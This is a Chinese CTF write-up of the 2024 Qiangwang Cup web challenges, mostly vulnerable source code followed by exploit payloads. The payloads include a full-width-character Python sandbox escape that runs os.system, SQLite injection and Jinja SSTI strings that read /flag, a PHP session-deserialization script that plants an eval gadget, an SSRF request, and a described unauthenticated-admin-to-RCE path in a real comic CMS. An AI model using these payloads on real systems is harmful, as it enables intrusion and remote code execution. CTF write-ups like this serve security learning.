2024 强网杯 Web
执着于web安全研究 发表于 湖北 CTF 449浏览 · 2024-11-04 02:17

PyBlockly

题目打开是一个积木编程,
源码如下:

from flask import Flask, request, jsonify
import re
import unidecode
import string
import ast
import sys
import os
import subprocess
import importlib.util
import json

app = Flask(__name__)
#flask 自动对json的\u形式的unciode自动解码
app.config['JSON_AS_ASCII'] = False

blacklist_pattern = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"

def module_exists(module_name):

    spec = importlib.util.find_spec(module_name)
    if spec is None:
        return False

    if module_name in sys.builtin_module_names:
        return True

    if spec.origin:
        std_lib_path = os.path.dirname(os.__file__)

        if spec.origin.startswith(std_lib_path) and not spec.origin.startswith(os.getcwd()):
            return True
    return False

def verify_secure(m):
    for node in ast.walk(m):
        match type(node):
            case ast.Import:  
                print("ERROR: Banned module ")
                return False
            case ast.ImportFrom: 
                print(f"ERROR: Banned module {node.module}")
                return False
    return True

def check_for_blacklisted_symbols(input_text):
    if re.search(blacklist_pattern, input_text):
        return True
    else:
        return False

def block_to_python(block):
    block_type = block['type']
    code = ''

    if block_type == 'print':
        text_block = block['inputs']['TEXT']['block']
        text = block_to_python(text_block)  
        code = f"print({text})"

    elif block_type == 'math_number':

        if str(block['fields']['NUM']).isdigit():      
            code =  int(block['fields']['NUM']) 
        else:
            code = ''
            #检查text的非法字符
    elif block_type == 'text':
        if check_for_blacklisted_symbols(block['fields']['TEXT']):
            code = ''
        else:
        #unicode编码绕过
            code =  "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"
            print(code)

    elif block_type == 'max':

        a_block = block['inputs']['A']['block']
        b_block = block['inputs']['B']['block']
        a = block_to_python(a_block)  
        b = block_to_python(b_block)
        code =  f"max({a}, {b})"

    elif block_type == 'min':
        a_block = block['inputs']['A']['block']
        b_block = block['inputs']['B']['block']
        a = block_to_python(a_block)
        b = block_to_python(b_block)
        code =  f"min({a}, {b})"

    if 'next' in block:

        block = block['next']['block']

        code +="\n" + block_to_python(block)+ "\n"
    else:
        return code 
    return code

def json_to_python(blockly_data):
    block = blockly_data['blocks']['blocks'][0]

    python_code = ""
    python_code += block_to_python(block) + "\n"


    return python_code

def do(source_code):
    hook_code = '''
def my_audit_hook(event_name, arg):
    blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
    if len(event_name) > 4:
        raise RuntimeError("Too Long!")
    for bad in blacklist:
        if bad in event_name:
            raise RuntimeError("No!")

__import__('sys').addaudithook(my_audit_hook)

'''
    print(source_code)
    code = hook_code + source_code
    tree = compile(source_code, "run.py", 'exec', flags=ast.PyCF_ONLY_AST)
    try:
        if verify_secure(tree):  
            with open("run.py", 'w') as f:
                f.write(code)        
            result = subprocess.run(['python', 'run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")
            os.remove('run.py')
            return result
        else:
            return "Execution aborted due to security concerns."
    except:
        os.remove('run.py')
        return "Timeout!"

@app.route('/')
def index():
    return app.send_static_file('index.html')

@app.route('/blockly_json', methods=['POST'])
def blockly_json():
    blockly_data = request.get_data()
    print(type(blockly_data))
    blockly_data = json.loads(blockly_data.decode('utf-8'))
    print(blockly_data)
    try:
        python_code = json_to_python(blockly_data)
        return do(python_code)
    except Exception as e:
        return jsonify({"error": "Error generating Python code", "details": str(e)})

if __name__ == '__main__':
    app.run(host = '0.0.0.0')

由于禁用了很多字符,我们json传参全角符号绕过blacklist_pattern
https://zh.wikipedia.org/wiki/%E5%85%A8%E5%BD%A2%E5%92%8C%E5%8D%8A%E5%BD%A2
使用文中全角符号,中文字符通过 unicode.unicode 可以直接转英文字符,即绕过黑名单

‘)\nf=open(‘/flag’)\nprint(f.read())\n(’    # 回显为空,可能需要rce
‘)\nf=open(‘/proc/self/environ’)\nprint(f.read())\n(’    # 无泄漏

由于限制了事件的长度,我们需要覆盖len函数绕过长度检验

globals()['__builtins__'].len=lambda x: 1

然后便可以命令执行

’)\nglobals()[‘__builtins__’].len=lambda x: 1\n__import__(‘os’).system(‘dd if=/flag’)\n(‘

cat回显为空
ls查看权限

-r-------- 1 root root 39 Oct 31 06:51 /flag

suid提权

/bin/su
/bin/ls
/bin/dd
/bin/mount
/bin/umount
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/chsh

Payload

POST /blockly_json HTTP/1.1
Host: eci-2zebvccqe8nnivaz8wkj.cloudeci1.ichunqiu.com:5000
Sec-Fetch-Mode: cors
Accept: */*
Referer: http://127.0.0.1:5000/
Sec-Fetch-Dest: empty
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
X-Requested-With: XMLHttpRequest
Origin: http://127.0.0.1:5000
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Sec-Fetch-Site: same-origin
Content-Type: application/json
Content-Length: 541

{
  "blocks": {
    "languageVersion": 0,
    "blocks": [
      {
        "type": "print",
        "id": "TiB};t~~=3e-553@D|nx",
        "x": 104,
        "y": 183,
        "inputs": {
          "TEXT": {
            "block": {
              "type": "text",
              "id": "4CexaB/|[s+j!|Pfd,:_",
              "fields": {
                "TEXT": "’)\nglobals()[‘__builtins__’].len=lambda x: 1\n__import__(‘os’).system(‘dd if=/flag’)\n(‘"
              }
            }
          }
        }
      }
    ]
  }
}

playground

题目描述是Go playground designed for newbie
源码如下
app.py

import base64
from flask import Flask, render_template, request, jsonify
import struct
import socket
import io
import os

app = Flask(__name__)
key = bytes.fromhex(open('/sandbox/sandbox.key', 'r').read())
indexHTML = open('index.html', 'r').read()

def run_in_sandbox(prog):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('localhost', 2077))
    chall = bytearray(s.recv(1024))
    for i in range(len(chall)):
       chall[i] ^= key[i % len(key)]

    prog = bytearray(prog)
    for i in range(len(prog)):
        prog[i] ^= key[i % len(key)]

    options = 52
    pkt = io.BytesIO()
    pkt.write(struct.pack('<II', len(prog) + len(chall), options))
    pkt.write(chall)
    pkt.write(prog)
    s.send(pkt.getvalue())

    output = io.BytesIO()
    while True:
        try:
            data = s.recv(1024)
            if not data:
                break
            output.write(data)
        except:
            break

    s.close()
    return output.getvalue()


@app.post('/api/run')
def run():
    code = request.json['code']
    dirname = os.urandom(24).hex()
    os.mkdir(f'/tmp/{dirname}')
    with open(f'/tmp/{dirname}/main.go', 'w') as f:
        f.write(code)
    ret = os.system(f'cd /tmp/{dirname}/ && go mod init playground && go build')

    if ret != 0 or not os.path.exists(f'/tmp/{dirname}/playground'):
        os.system(f'rm -rf /tmp/{dirname}')
        return jsonify({'status': 'error'})

    prog = open(f'/tmp/{dirname}/playground', 'rb').read()
    os.system(f'rm -rf /tmp/{dirname}')
    output = run_in_sandbox(prog)
    return jsonify({'status': 'success', 'data': base64.b64encode(output).decode()})

@app.get('/')
def index():
    headers = {
        'Content-Type': 'text/html',
    }
    return (indexHTML, 200, headers)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

sandbox.c

// You're right, but writing code that smells like shit could make it harder for the company to optimize me.
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <signal.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <seccomp.h>

#define FATAL(msg)          \
    do                      \
    {                       \
        perror(msg);        \
        exit(EXIT_FAILURE); \
    } while (0)

#define KEY_SIZE 64
#define KEY_PATH "sandbox.key"
#define SANDBOX_PATH "sandbox-workdir"
#define PORT 2077
#define BUFFER_SIZE 1024

int s = 0;
unsigned char key[KEY_SIZE];

int read_random_data(unsigned char *buf, size_t size)
{
    int urandom = open("/dev/urandom", O_RDONLY);
    if (urandom == -1)
        return -1;
    if (read(urandom, buf, size) != size)
        return -1;
    close(urandom);
    return 0;
}

int set_up_strict_mode(unsigned int level)
{
    scmp_filter_ctx ctx;
    ctx = seccomp_init(SCMP_ACT_ALLOW);
    if (ctx == NULL)
        FATAL("seccomp_init");

    if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(openat2), 0) != 0)
    {
        perror("seccomp_rule_add");
        seccomp_release(ctx);
        return 1;
    }

    if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(chroot), 0) != 0)
    {
        perror("seccomp_rule_add");
        seccomp_release(ctx);
        return 1;
    }

    if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(chmod), 0) != 0)
    {
        perror("seccomp_rule_add");
        seccomp_release(ctx);
        return 1;
    }

    if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(fchmod), 0) != 0)
    {
        perror("seccomp_rule_add");
        seccomp_release(ctx);
        return 1;
    }

    if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(chown), 0) != 0)
    {
        perror("seccomp_rule_add");
        seccomp_release(ctx);
        return 1;
    }

    if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(fchown), 0) != 0)
    {
        perror("seccomp_rule_add");
        seccomp_release(ctx);
        return 1;
    }

    if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(lchown), 0) != 0)
    {
        perror("seccomp_rule_add");
        seccomp_release(ctx);
        return 1;
    }

    if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(symlink), 0) != 0)
    {
        perror("seccomp_rule_add");
        seccomp_release(ctx);
        return 1;
    }

    if (level >= 2)
    {
        if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(ioctl), 0) != 0)
        {
            perror("seccomp_rule_add");
            seccomp_release(ctx);
            return 1;
        }

        if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(ptrace), 0) != 0)
        {
            perror("seccomp_rule_add");
            seccomp_release(ctx);
            return 1;
        }

        if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(mount), 0) != 0)
        {
            perror("seccomp_rule_add");
            seccomp_release(ctx);
            return 1;
        }
    }

    if (level >= 3)
    {
        if (setgid(65534) != 0)
        {
            perror("setgid");
            return 1;
        }
        if (setuid(65534) != 0)
        {
            perror("setuid");
            return 1;
        }

        if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(setuid), 0) != 0)
        {
            perror("seccomp_rule_add");
            seccomp_release(ctx);
            return 1;
        }

        if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(setgid), 0) != 0)
        {
            perror("seccomp_rule_add");
            seccomp_release(ctx);
            return 1;
        }

        if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(setsid), 0) != 0)
        {
            perror("seccomp_rule_add");
            seccomp_release(ctx);
            return 1;
        }

        if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(setfsuid), 0) != 0)
        {
            perror("seccomp_rule_add");
            seccomp_release(ctx);
            return 1;
        }

        if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(setfsgid), 0) != 0)
        {
            perror("seccomp_rule_add");
            seccomp_release(ctx);
            return 1;
        }

        if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(setresuid), 0) != 0)
        {
            perror("seccomp_rule_add");
            seccomp_release(ctx);
            return 1;
        }

        if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(setresgid), 0) != 0)
        {
            perror("seccomp_rule_add");
            seccomp_release(ctx);
            return 1;
        }

        if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(setpgid), 0) != 0)
        {
            perror("seccomp_rule_add");
            seccomp_release(ctx);
            return 1;
        }

        if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(setreuid), 0) != 0)
        {
            perror("seccomp_rule_add");
            seccomp_release(ctx);
            return 1;
        }

        if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(setregid), 0) != 0)
        {
            perror("seccomp_rule_add");
            seccomp_release(ctx);
            return 1;
        }
    }

    if (level >= 4)
    {
        if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(getpid), 0) != 0)
        {
            perror("seccomp_rule_add");
            seccomp_release(ctx);
            return 1;
        }

        if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(getppid), 0) != 0)
        {
            perror("seccomp_rule_add");
            seccomp_release(ctx);
            return 1;
        }

        if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(fork), 0) != 0)
        {
            perror("seccomp_rule_add");
            seccomp_release(ctx);
            return 1;
        }

        if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(chdir), 0) != 0)
        {
            perror("seccomp_rule_add");
            seccomp_release(ctx);
            return 1;
        }

        if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(link), 0) != 0)
        {
            perror("seccomp_rule_add");
            seccomp_release(ctx);
            return 1;
        }

        if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(creat), 0) != 0)
        {
            perror("seccomp_rule_add");
            seccomp_release(ctx);
            return 1;
        }
    }

    if (seccomp_load(ctx) != 0)
    {
        perror("seccomp_load");
        seccomp_release(ctx);
        return 1;
    }

    seccomp_release(ctx);

    return 0;
}

void init()
{
    if (read_random_data(key, sizeof(key)) != 0)
        FATAL("read random data");

    int fd = open(KEY_PATH, O_WRONLY | O_CREAT | O_TRUNC, 0644);
    if (fd == -1)
        FATAL("open key file");
    for (int i = 0; i < sizeof(key); i++)
    {
        char buf[3];
        snprintf(buf, sizeof(buf), "%02x", key[i]);
        if (write(fd, buf, 2) != 2)
            FATAL("write key file");
    }
    close(fd);

    mkdir(SANDBOX_PATH, 0700);
    if (chdir(SANDBOX_PATH) != 0)
        FATAL("chdir");
}

void handle_connection(int c)
{
    prctl(PR_SET_PDEATHSIG, SIGTERM);
    unsigned char chall[KEY_SIZE];
    read_random_data(chall, sizeof(chall));
    send(c, chall, sizeof(chall), MSG_NOSIGNAL | MSG_DONTWAIT);
    unsigned int size;
    if (recv(c, &size, sizeof(size), 0) != sizeof(size))
        return;
    if (size > 64 * 1024 * 1024)
        return;

    unsigned int options;
    if (recv(c, &options, sizeof(options), 0) != sizeof(options))
        return;

    unsigned int strict_mode_level = options & 0xf;
    int redirect_stdout = (options >> 4) & 1;
    int redirect_stderr = (options >> 5) & 1;

    unsigned char *buf = malloc(size);
    if (buf == NULL)
        return;

    unsigned int read_size = 0;
    while (read_size < size)
    {
        ssize_t n = recv(c, buf + read_size, size - read_size, 0);
        if (n <= 0)
        {
            free(buf);
            return;
        }
        read_size += n;
    }

    for (unsigned int i = 0; i < KEY_SIZE; i++)
    {
        if ((buf[i] ^ chall[i]) != key[i])
        {
            free(buf);
            return;
        }
    }

    unsigned char *data = buf + KEY_SIZE;

    for (unsigned int i = 0; i < size - KEY_SIZE; i++)
    {
        data[i] ^= key[i % KEY_SIZE];
    }

    unsigned char dir_name[KEY_SIZE * 2 + 1];
    unsigned char dir_random[KEY_SIZE];
    read_random_data(dir_random, sizeof(dir_random));
    for (size_t i = 0; i < KEY_SIZE; i++)
    {
        snprintf(dir_name + i * 2, 3, "%02x", dir_random[i]);
    }

    mkdir(dir_name, 0755);
    if (chdir(dir_name) != 0)
    {
        free(buf);
        return;
    }

    int fd = open("prog", O_WRONLY | O_CREAT | O_TRUNC, 0755);
    if (fd == -1)
    {
        free(buf);
        return;
    }

    if (write(fd, data, size - KEY_SIZE) != size - KEY_SIZE)
    {
        close(fd);
        free(buf);
        return;
    }

    free(buf);
    close(fd);

    chmod("prog", 0755);

    int pipefd[2];
    if (pipe(pipefd) == -1)
    {
        return;
    }
    int pid = fork();
    if (pid == -1)
    {
        return;
    }
    if (pid == 0)
    {
        prctl(PR_SET_PDEATHSIG, SIGTERM);
        close(pipefd[0]);
        if (chroot(".") != 0)
            exit(1);
        if (chdir("/") != 0)
            exit(1);
        if (set_up_strict_mode(strict_mode_level) != 0)
            exit(1);
        if (redirect_stdout)
        {
            if (dup2(pipefd[1], 1) == -1)
            {
                exit(1);
            }
        }
        if (redirect_stderr)
        {
            if (dup2(pipefd[1], 2) == -1)
            {
                exit(1);
            }
        }
        execl("/prog", "/prog", NULL);
        exit(0);
    }
    else
    {
        close(pipefd[1]);
        unsigned int bytes_read = 0;
        unsigned char buffer[BUFFER_SIZE];
        while ((bytes_read = read(pipefd[0], buffer, BUFFER_SIZE - 1)) > 0)
        {
            send(c, buffer, bytes_read, MSG_NOSIGNAL | MSG_DONTWAIT);
        }
        close(pipefd[0]);
        int status;
        waitpid(pid, &status, 0);
        send(c, "EOF", 3, MSG_NOSIGNAL | MSG_DONTWAIT);
        chdir("..");
        char rm_cmd[512];
        snprintf(rm_cmd, sizeof(rm_cmd), "rm -rf %s", dir_name);
        system(rm_cmd);
    }
}

void handle_signal(int signal)
{
    if (signal == SIGINT)
    {
        close(s);
        exit(0);
    } 

    if (signal == SIGCHLD)
    {
        wait(NULL);
    }
}

int main()
{
    init();

    s = socket(AF_INET, SOCK_STREAM, 0);
    if (s == -1)
        FATAL("socket");

    struct sockaddr_in addr;
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = inet_addr("127.0.0.1");
    addr.sin_port = htons(PORT);

    if (bind(s, (struct sockaddr *)&addr, sizeof(addr)) == -1)
        FATAL("bind");

    if (listen(s, 5) == -1)
        FATAL("listen");

    signal(SIGINT, handle_signal);
    signal(SIGCHLD, handle_signal);

    while (1)
    {
        int c = accept(s, NULL, NULL);
        if (c == -1)
            FATAL("accept");

        int pid = fork();
        if (pid == -1)
            FATAL("fork");

        if (pid == 0)
        {
            close(s);
            handle_connection(c);
            shutdown(c, SHUT_RDWR);
            close(c);
            exit(0);
        }
    }

    return 0;
}
package main

import "syscall"

func main() {
    a := make([]byte, 0x100)
    b, _ := syscall.Open("/flag", 0, 0)
    syscall.Read(b, a)
    syscall.Write(1, a)
}

这道playground思路应该是这样

  1. 获取/sandbox/sandbox.key(现在就是卡在这里)
  2. 因为sandbox程序中进行了chroot,需要逃逸从而Open获取flag。这里可以利用go程序跟sandbox进行交互,然后将option设置为1,就可以利用ptrace和mount之类的进行chroot逃逸了。(所以要想办法获取/sandbox/sandbox.key,但这里已经chroot,无法获取)
    读/sandbox/sandbox.key的思路
  3. 利用Cgo,用C去include。但是由于app.py不返回编译错误结果,失败
package main

/*
#include <stdio.h>
#include "/sandbox/sandbox.key"

void hello() {
    printf("Hello from C!\n");
}
*/
import "C"

func main() {
    C.hello()
}
  1. 利用embed
    但是go embed好像不支持绝对路径以及目录穿越,失败
package main

import (
  _ "embed"
  "fmt"
  )

//go:embed /sandbox/sandbox.key
var key string

func main() {
    fmt.Println(key)
}


// main.go
package main

import (
    "fmt"
    "io/ioutil"
    "os"
)

func init() {
    // 在编译时运行的代码
    if _, err := os.Stat("key.txt"); os.IsNotExist(err) {
        // 尝试读取 /sandbox/sandbox.key
        data, err := ioutil.ReadFile("/sandbox/sandbox.key")
        if err != nil {
            // 如果读取失败,写入一个占位符
            data = []byte("failed to read key")
        }
        // 将密钥写入 key.txt
        ioutil.WriteFile("key.txt", data, 0644)
    }
}

func main() {
    // 运行时读取 key.txt
    data, err := ioutil.ReadFile("key.txt")
    if err != nil {
        fmt.Println("Error reading key.txt:", err)
        return
    }
    fmt.Println(string(data))
}

Xiaohuanxiong

这道题是一个小浣熊漫画cms的0day,要自行挖掘漏洞
初次启动容器先访问/install
原cms删库
应该用的是下面这个
https://github.com/forkable/xiaohuanxiong
访问admin的authors路由发现未授权
然后我们访问admins添加管理员

可以修改php配置代码rce拿到flag

然后我们访问首页即可加载配置文件getshell

Snake

贪吃蛇游戏看着要吃一定分数,但是速度太快不能直接手玩,并且碰到蛇身体也会game over
用算法写一个寻路脚本来自动玩游戏:

import requests
import json
import numpy as np
from queue import PriorityQueue
from copy import deepcopy as dcp

url = "http://eci-2ze28vznmiok836ummk1.cloudeci1.ichunqiu.com:5000"
req = requests.session()
direc = ("RIGHT", "DOWN", "LEFT", "UP")
size = 20
board = np.zeros((size, size), dtype=int)
QUE = PriorityQueue()
FourDirec = lambda x, y: [
    (x + 1, y, 1),
    (x - 1, y, 3),
    (x, y + 1, 0),
    (x, y - 1, 2),
]

def Login_Start(name):
    req.post(url + "/set_username", data={"username": name})
    req.get(url)

def sendmove(direction):
    res = req.post(url + "/move", json={"direction": direction})
    # print(res.text)
    data = json.loads(res.text)
    if data["status"] == "ok":
        food = data["food"][::-1]
        snake = [i[::-1] for i in data["snake"]]
        score = data["score"]
        # print(food, snake)
        return food, snake, score
    else:
        print(res.text)
        exit()

def find_path(food, snake):
    head = snake[0]
    dist = abs(food[0] - head[0]) + abs(food[1] - head[1])
    path = [(-1, -1, dist)]
    heads = [head]
    QUE.queue.clear()

    QUE.put((dist, dcp(snake), 0))
    while not QUE.empty():
        temp = QUE.get()
        # print(temp)
        dist, snake, pth = temp
        head = snake[0]
        if head[0] == food[0] and head[1] == food[1]:
            while pth != 0:
                pth, p, dist = path[pth]
                # print(heads[pth], direc[p])
            return direc[p]

        for x, y, p in FourDirec(head[0], head[1]):
            if 0 <= x < size and 0 <= y < size and [x, y] not in snake:
                newsnake = [[x, y]] + dcp(snake)[:-1]
                dist = abs(x - food[0]) + abs(y - food[1])
                path.append((pth, p, dist))
                heads.append([x, y])
                QUE.put((dist, dcp(newsnake), len(path) - 1))

def draw(snake, food):
    board = np.zeros((size, size), dtype=int)
    board[food[0], food[1]] = 2
    for i in snake:
        board[i[0], i[1]] = 1
    print(board)

if __name__ == "__main__":
    Login_Start("test")
    food, snake, sc = sendmove("RIGHT")
    # print(food, snake)
    # draw(snake, food)
    while 1:
        dire = find_path(food, snake)
        print(sc, dire, food, snake)
        food, snake, sc = sendmove(dire)
        draw(snake, food)

贪吃蛇到达50长度,给了一个路由:具有单引号SQL注入 三列 有回显

http://url/snake_win?username=

测试出来是sqlite注入

-1'union select 1,2,sqlite_version()--+

查询执行的sql语句 拿到列名

-1'union select 1,2,(select sql from sqlite_master  limit 0,1)--+

拿表

-1%27union%20select%201,2,(SELECT group_concat(tbl_name) FROM sqlite_master )--+

发现没数据,测试是通过select来触发ssti漏洞发现成功拿到flag

{{x.__init__.__globals__['__builtins__'].open('/flag', 'r').read()}}

platform

任何人都能登录的平台
扫了一些发现源码泄露:/www.zip
主要文件的源码如下

index.php

<?php
session_start();
require 'user.php';
require 'class.php';

$sessionManager = new SessionManager();
$SessionRandom = new SessionRandom();

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $username = $_POST['username'];
    $password = $_POST['password'];

    $_SESSION['user']['a'] = $username;
    $_SESSION['user']['b'] = "test";


    if (!isset($_SESSION['session_key'])) {
        $_SESSION['session_key'] = $SessionRandom->generateRandomString();
    }
    $_SESSION['password'] = $password;
    $result = $sessionManager->filterSensitiveFunctions();
    header('Location: dashboard.php');
    exit();
} else {
    require 'login.php';
}

class.php

<?php
class notouchitsclass
{
    public $data;

    public function __construct($data)
    {
        $this->data = $data;
    }

    public function __destruct()
    {
        eval($this->data);
    }
}

class SessionRandom
{

    public function generateRandomString()
    {
        $length = rand(1, 50);

        $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
        $charactersLength = strlen($characters);
        $randomString = '';

        for ($i = 0; $i < $length; $i++) {
            $randomString .= $characters[rand(0, $charactersLength - 1)];
        }

        return $randomString;
    }
}

class SessionManager
{
    private $sessionPath;
    private $sessionId;
    private $sensitiveFunctions = ['system', 'eval', 'exec', 'passthru', 'shell_exec', 'popen', 'proc_open']; #
    #                                      5        4     4            8           10         5           9
    public function __construct()
    {
        if (session_status() == PHP_SESSION_NONE) {
            throw new Exception("Session has not been started. Please start a session before using this class.");
        }
        $this->sessionPath = session_save_path();
        $this->sessionId = session_id();
    }

    private function getSessionFilePath()
    {
        return $this->sessionPath . "/sess_" . $this->sessionId;
    }

    public function filterSensitiveFunctions()
    {
        #session文件
        $sessionFile = $this->getSessionFilePath();

        if (file_exists($sessionFile)) {
            #读取session文件
            $sessionData = file_get_contents($sessionFile);

            foreach ($this->sensitiveFunctions as $function) {
                #waf查看有无敏感函数
                if (strpos($sessionData, $function) !== false) {
                    #换为空
                    $sessionData = str_replace($function, '', $sessionData);
                }
            }
            #写回session文件
            file_put_contents($sessionFile, $sessionData);

            return "Sensitive functions have been filtered from the session file.";
        } else {
            return "Session file not found.";
        }
    }
}

本地测试session反序列化格式

由于存在替换,通过字符串减少逃逸来写入恶意的序列化数据,由于session_key长度不固定所以我们每次爆破session_key来爆破出来,脚本如下:

import requests

session = requests.session()
#session.proxies = {'http':'http://127.0.0.1:8080'}

def b(id : str):
    burp0_url = "http://127.0.0.1:22322/"
    burp0_cookies = {"PHPSESSID": id}
    burp0_data = {
        "username": "evalevalevalevalevalevalevalevalevalevalevalevalevaleval",
        "password": '";session_key|s:20:"aaaaaaaaaaaaaaaaaaaa";password|O:15:"notouchitsclass":1:{s:4:"data";S:15:"\\65\\76\\61\\6c\\28\\24\\5f\\47\\45\\54\\5b\\31\\5d\\29\\3b";};a|s:1:"a'
    }
    session.post(burp0_url+'index.php', cookies=burp0_cookies, data=burp0_data)
    session.post(burp0_url+'index.php', cookies=burp0_cookies, data=burp0_data)
    param = {
        '1' : 'phpinfo();'
    }
    res = session.get(burp0_url+'dashboard.php', cookies=burp0_cookies, params=param)
    # res = session.get(burp0_url+'dashboard.php', cookies=burp0_cookies, params=param)
    return res.text

i = 0
while True:
    t = b(str(i))
    if len(t) > 10000:
        print(i)
        break
    i += 1

用session去访问拿到shell

Proxy

给了go的源码main.go

package main

import (
    "bytes"
    "io"
    "net/http"
    "os/exec"

    "github.com/gin-gonic/gin"
)

type ProxyRequest struct {
    URL             string            `json:"url" binding:"required"`
    Method          string            `json:"method" binding:"required"`
    Body            string            `json:"body"`
    Headers         map[string]string `json:"headers"`
    FollowRedirects bool              `json:"follow_redirects"`
}

func main() {
    r := gin.Default()

    v1 := r.Group("/v1")
    {
        v1.POST("/api/flag", func(c *gin.Context) {
            cmd := exec.Command("/readflag")
            flag, err := cmd.CombinedOutput()
            if err != nil {
                c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
                return
            }
            c.JSON(http.StatusOK, gin.H{"flag": flag})
        })
    }

    v2 := r.Group("/v2")
    {
        v2.POST("/api/proxy", func(c *gin.Context) {
            var proxyRequest ProxyRequest
            if err := c.ShouldBindJSON(&proxyRequest); err != nil {
                c.JSON(http.StatusBadRequest, gin.H{"status": "error", "message": "Invalid request"})
                return
            }

            client := &http.Client{
                CheckRedirect: func(req *http.Request, via []*http.Request) error {
                    if !req.URL.IsAbs() {
                        return http.ErrUseLastResponse
                    }

                    if !proxyRequest.FollowRedirects {
                        return http.ErrUseLastResponse
                    }

                    return nil
                },
            }

            req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte(proxyRequest.Body)))
            if err != nil {
                c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
                return
            }

            for key, value := range proxyRequest.Headers {
                req.Header.Set(key, value)
            }

            resp, err := client.Do(req)

            if err != nil {
                c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
                return
            }

            defer resp.Body.Close()

            body, err := io.ReadAll(resp.Body)
            if err != nil {
                c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
                return
            }

            c.Status(resp.StatusCode)
            for key, value := range resp.Header {
                c.Header(key, value[0])
            }

            c.Writer.Write(body)
            c.Abort()
        })
    }

    r.Run("127.0.0.1:8769")
}

proxy.conf如下禁止访问v1路由

server {
    listen 8000;

    location ~ /v1 {
        return 403;
    }

    location ~ /v2 {
        proxy_pass http://localhost:8769;
        proxy_http_version 1.1;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection $connection_upgrade;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}

直接访问go端口,绕过nginx403
go:8769
nginx:8000
payload如下

POST /v2/api/proxy HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1:5870

{"URL": "http://127.0.0.1:8769/v1/api/flag", "Method": "POST", "Body": ""}

Password Game

Password Game 题目提示:正确的解不会经过错误的代码,请观察一下是否能篡改可以输出的地方。
可以说是见过的最恶心的一道php pop链反序列化绕过
玩游戏之后给了源码

function filter($password){
    $filter_arr = array("admin","2024qwb");
    $filter = '/'.implode("|",$filter_arr).'/i';
    return preg_replace($filter,"nonono",$password);
}
class guest{
    public $username;
    public $value;
    public function __tostring(){
        if($this->username=="guest"){
            $value();
        }
        return $this->username;
    }
    public function __call($key,$value){
        if($this->username==md5($GLOBALS["flag"])){
            echo $GLOBALS["flag"];
        }
    }
}
class root{
    public $username;
    public $value;
    public function __get($key){
        if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
            $this->value = $GLOBALS["flag"];
            echo md5("hello:".$this->value);
        }
    }
}
class user{
    public $username;
    public $password;
    public $value;
    public function __invoke(){
        $this->username=md5($GLOBALS["flag"]);
        return $this->password->guess();
    }
    public function __destruct(){
        if(strpos($this->username, "admin") == 0 ){
            echo "hello".$this->username;
        }
    }
}
$user=unserialize(filter($_POST["password"]));
if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
    echo "hello!";
}

